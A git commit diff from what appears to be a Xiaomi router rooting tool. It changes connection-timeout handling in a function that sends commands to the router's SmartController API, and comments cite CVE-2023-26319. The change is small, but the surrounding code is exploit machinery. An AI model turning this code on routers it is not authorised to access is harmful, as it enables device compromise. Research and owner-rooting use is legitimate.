connect5: Increase connect timeout to 7 sec

This commit is contained in:
remittor
2025-02-13 20:35:31 +03:00
parent 8dcb27b638
commit 1ed8e0a194
+4
View File
@@ -75,14 +75,18 @@ def exec_smart_cmd(cmd, timeout = 7, api = 'API/xqsmarthome/request_smartcontrol
# reg_code: CVE-2023-26319 # reg_code: CVE-2023-26319
# publication: https://blog.thalium.re/posts/rooting-xiaomi-wifi-routers/ # publication: https://blog.thalium.re/posts/rooting-xiaomi-wifi-routers/
###### ######
saved_con_timeout = gw.con_timeout
gw.con_timeout = timeout
sc_command = cmd['command'] sc_command = cmd['command']
payload = json.dumps(cmd, separators = (',', ':')) payload = json.dumps(cmd, separators = (',', ':'))
try: try:
data = { "payload": payload } data = { "payload": payload }
res = gw.api_request(api, data, resp = 'text', post = 'x-www-form', timeout = timeout) res = gw.api_request(api, data, resp = 'text', post = 'x-www-form', timeout = timeout)
except Exception as e: except Exception as e:
gw.con_timeout = saved_con_timeout
msg = getattr(e, 'message', str(e)) msg = getattr(e, 'message', str(e))
raise ExploitError(f'Cannot send POST-request "{sc_command}" to SmartController service. {msg}') raise ExploitError(f'Cannot send POST-request "{sc_command}" to SmartController service. {msg}')
gw.con_timeout = saved_con_timeout
return res return res
def exec_smart_command(cmd, timeout = 7, ignore_err_code = 0): def exec_smart_command(cmd, timeout = 7, ignore_err_code = 0):